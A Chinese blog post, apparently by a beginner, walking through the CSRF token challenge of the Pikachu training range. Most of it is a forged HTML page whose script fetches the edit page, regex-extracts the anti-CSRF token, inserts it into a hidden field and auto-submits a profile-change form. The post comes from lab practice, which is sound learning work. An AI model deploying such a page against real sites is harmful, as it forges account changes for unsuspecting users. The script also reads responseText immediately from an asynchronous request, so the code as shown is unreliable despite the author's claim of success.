pikachu靶场之csrf(token)解题

刚接触安全的小白,最近在做pikachu的靶场,关于csrf(token)这个题目 网上找了好久没有找到答案,于是乎自己来做一做。

思路:

网站的token是每次通信后嵌入在页面中的,只要不刷新token一直有效。

伪造页面,在页面中植入攻击代码:

【1】先后台请求一次url,服务器会发送一个拥有新token的html

【2】解析html文本爬取token的值,并通过dom赋值给页面表单中的token标签

【3】后台发送攻击请求

伪造页面实现

<script>
  window.onload = function() {
    <!--ajax先请求一次-->
    const html = jQuery.get('http://pikachu.org/vul/csrf/csrftoken/token_get_edit.php');
    <!--获取到带有token的html文本,通过正则匹配到token-->
    const text = html.responseText;
    const takeToken = text.match(/\w{27}/gm)
    <!--使用dom修改表单里token的值-->
    document.getElementById("token").value = takeToken

    document.getElementById("postsubmit").click();
  }
</script>
</head>
<body>
  <form method="get" action="http://pikachu.org/vul/csrf/csrftoken/token_get_edit.php">
    <p class="per_sex">性别:<input type="text" name="sex" value="heihei"/></p>
    <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="999999"/></p>
    <p class="per_add">住址:<input class="add" type="text" name="add" value="tiananmen"/></p>
    <p class="per_email">邮箱:<input class="email" type="text" name="email" value="qq@qq.com"/></p>
    <input id="token" type="hidden" name="token" value="123456789" />
    <input id="postsubmit" class="sub" type="submit" name="submit" value="submit"/>
  </form>
</body>
</html>

结果 

 

 修改成功!哈哈哈!

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值